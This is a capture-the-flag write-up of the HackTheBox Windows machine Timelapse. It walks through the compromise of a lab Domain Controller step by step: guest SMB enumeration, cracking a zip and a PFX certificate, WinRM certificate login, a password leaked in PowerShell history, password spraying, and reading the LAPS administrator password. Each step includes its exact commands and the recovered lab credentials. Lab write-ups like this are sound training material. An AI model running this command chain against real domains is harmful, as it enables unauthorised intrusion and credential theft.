HackTheBox Writeup: Timelapse

31 Oct 2026 · HTB · 9 min
Machine
Timelapse
OS
Windows
Difficulty
Easy
Released
26 Mar 2022
Status
Retired
Rating
★4.6 / 5.0
Table of Contents

Overview

Timelapse is an Easy Windows machine that acts as a Domain Controller. A guest session on SMB lets us list every domain user and download a share that holds a password protected backup archive. Cracking the archive, and then the PFX certificate inside it, gives us a certificate that we can use to log in over WinRM as a low privileged user. The PowerShell history of that user leaks the password of a service account, and that account is a member of the LAPS_Readers group. Reading the LAPS attribute of the Domain Controller gives us the local Administrator password, and with it full control of the domain.

Enumeration

We started our enumeration with an Nmap scan to identify the open ports and services on the target machine.

Nmap Scan

We used the following command, which runs the default scripts (-sC), detects service versions (-sV) and skips host discovery (-Pn).

Timelapse ➜ nmap -sC -sV -Pn 10.129.91.116
Nmap Scan

Nmap Scan

The scan reveals the following open ports and services:

Port Service Description
53 DNS Simple DNS Plus, resolves names for the domain
88 Kerberos Microsoft Windows Kerberos, used for domain authentication
135 MSRPC Microsoft Windows RPC endpoint mapper
139 NetBIOS-SSN Microsoft Windows NetBIOS session service
389 LDAP Active Directory LDAP (Domain: timelapse.htb)
445 SMB Microsoft-DS, SMB file sharing
464 kpasswd5 Kerberos password change service
593 RPC over HTTP Microsoft Windows RPC over HTTP 1.0
636 LDAPS LDAP over SSL (tcpwrapped)
3268 LDAP (GC) Active Directory Global Catalog LDAP
3269 LDAPS (GC) Global Catalog LDAP over SSL (tcpwrapped)
5986 WinRM (HTTPS) Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP), WinRM over SSL. This is the port we use later with the certificate

The combination of DNS, Kerberos, LDAP and SMB confirms that this machine is a Windows Active Directory Domain Controller (DC01, domain timelapse.htb).

A few details in the scan output are worth noting:

  • WinRM only over SSL: port 5985 is not open. Only 5986 is, and its certificate has the common name dc01.timelapse.htb. This already tells us that any WinRM access has to go through HTTPS.
  • Expired certificate: the certificate on port 5986 was only valid from 2021-10-25 to 2022-10-25. Evil-WinRM does not validate it, so this does not block us.
  • Clock skew: the scan reports a clock skew of roughly +8 hours between the target and our machine. This does not matter for the SMB and WinRM steps in this writeup, but Kerberos based attacks would fail until the time is synchronised. (sudo ntpdate 10.129.91.116)

User Enumeration

The SMB service accepts authentication as the guest user with an empty password. This misconfiguration allows us to perform a RID brute force. Every security object in a domain (users, groups, computers) has a RID (Relative Identifier), which is the last part of its SID. By asking the server to resolve RID after RID, we can build a complete list of the domain accounts, even without valid credentials.

Timelapse ➜ nxc smb timelapse.htb -u 'guest' -p '' --rid-brute
Performed RID Brute

Performed RID Brute

We saved the discovered usernames in users.list, because we need this list again later for password spraying.

Share Enumeration

With the guest session still available, we continued by listing the SMB shares and our permissions on each of them.

Timelapse ➜ nxc smb timelapse.htb -u 'guest' -p '' --shares   
Performed Share Enumeration

Performed Share Enumeration

The non-default Shares share is readable by guest, so this is where we look next.

Retrieve Files on the Share

We used smbclient to recursively download everything that is present on the Shares share. Turning prompt off prevents mget from asking for confirmation on every single file.

Timelapse ➜ smbclient //timelapse.htb/Shares -U "Guest"

smb: \> recurse on
smb: \> prompt off
smb: \> mget *
Retrieved Files

Retrieved Files

The share has two folders. HelpDesk contains installers and documentation for LAPS (Local Administrator Password Solution), which is a hint we will need in the post-exploitation phase. Dev contains winrm_backup.zip, which is the interesting file for now.

Cracking the Zip Password

winrm_backup.zip is password protected, so we cannot extract the .pfx file inside it yet.

We used zip2john to convert the archive into a hash format that John the Ripper understands, and then cracked it with the rockyou wordlist.

Timelapse ➜ zip2john winrm_backup.zip > hash_winrm_zipfile 

Timelapse ➜ john hash_winrm_zipfile --wordlist=/opt/Tools/rockyou.txt
Cracked Zip Password

Cracked Zip Password

Unzipping

With the cracked password we can extract the archive, which gives us legacyy_dev_auth.pfx.

Timelapse ➜ unzip winrm_backup.zip 
Unzipped Successfully

Unzipped Successfully

Cracking the PFX Password

A .pfx file is a password protected container that bundles the certificate chain and the private key together. If we crack this password, we can use the certificate to authenticate to the machine.

We followed the same approach as with the zip file: convert with pfx2john, then crack with John.

Timelapse ➜ pfx2john Dev/legacyy_dev_auth.pfx > hash_pfxfile
Cracked Password

Cracked Password

Exploitation

We now have a client certificate for the user legacyy, together with the password that protects it. The next step is to use it to log in to the target.

Connecting to Target

Extract Private Key

Evil-WinRM needs the private key and the certificate as separate PEM files. We used openssl to extract the private key first. The -nodes flag stores the key without encrypting it again, and openssl asks for the import password we just cracked.

Timelapse ➜ openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodes

Extract the Certificate

Then we extracted the public certificate from the same .pfx file.

Timelapse ➜ openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out cert.pem

Connect via WinRM

During our enumeration we identified that port 5986 (WinRM over HTTPS) is open. Certificate authentication only works over SSL, so we connect with evil-winrm using -S (SSL), -c (certificate) and -k (private key).

Timelapse ➜ evil-winrm -i 10.129.91.116 -S -c cert.pem -k key.pem
Successfully Connected

Successfully Connected

Post-Enumeration

We now have a foothold as legacyy, a low-privileged user. From here we looked for a way to reach administrative privileges.

PowerShell History File

PowerShell’s PSReadLine module saves every command typed in a console session to a history file. We read it with the following command.

*Evil-WinRM* PS C:\temp> Get-Content $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Show PowerShell History

Show PowerShell History

The history contains a command with a plain text password: E3R$Q62^12p7PLlC%KWaxuaV

Perform Password Spraying

To find out which account the password belongs to, we sprayed it against the user list we built from the RID brute force earlier. Because we try one password against many users, this is a password spray and not a brute force, which keeps the risk of account lockouts low.

Timelapse ➜ nxc smb timelapse.htb -u users.list -p 'E3R$Q62^12p7PLlC%KWaxuaV'
Successful Authentication

Successful Authentication

The password is valid for the following account: svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV

BloodHound Enumeration

Next we collected Active Directory data with SharpHound.exe, which we ran from the machine as legacyy. The collected data can be imported into BloodHound to visualise relationships and attack paths.

*Evil-WinRM* PS C:\temp> .\SharpHound --CollectionMethods All
SharpHound Enumeration

SharpHound Enumeration

SVC_Deploy ReadLaps

SVC_Deploy ReadLaps

BloodHound shows that svc_deploy is a member of the LAPS_Readers group, which is allowed to read the LAPS password of the DC01 computer account. This also explains the LAPS files we saw on the HelpDesk share.

Post-Exploitation

LAPS stores the randomised local Administrator password of a computer in the ms-Mcs-AdmPwd attribute of its computer object in Active Directory. Since svc_deploy can read that attribute for DC01, we can retrieve the local Administrator password of the Domain Controller and take over the entire domain.

Read LAPS

We used bloodyAD to query LDAP for every object that has a LAPS expiration time set, and to return the password together with its expiration time.

Timelapse ➜ bloodyAD --host 10.129.91.116 -d timelapse.htb -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
Parameter Explanation
--host 10.129.91.116 The Domain Controller we send the LDAP query to
-d timelapse.htb The domain we authenticate against
-u svc_deploy -p '...' The credentials we found in the PowerShell history
get search Performs an LDAP search
--filter '(ms-mcs-admpwdexpirationtime=*)' Only returns objects that have a LAPS expiration time, which means LAPS is managing them
--attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime The attributes we want to see: the plain text password and its expiration time
Read Password

Read Password

Verify Password

We verified the LAPS password with NetExec. Because we pass the whole user list, NetExec also shows which account the password belongs to, which is the local Administrator.

Timelapse ➜ nxc smb timelapse.htb -u users.list -p "69C]wR]7S()dh)+0ipFN4aw2"
Password Verified

Password Verified

Gaining Access

Finally we used wmiexec.py from Impacket to log in to the Domain Controller as administrator.

Timelapse ➜ wmiexec.py timelapse.htb/administrator:"69C]wR]7S()dh)+0ipFN4aw2"@10.129.91.116
Successfully Logged In

Successfully Logged In

← Back to HackTheBox Writeups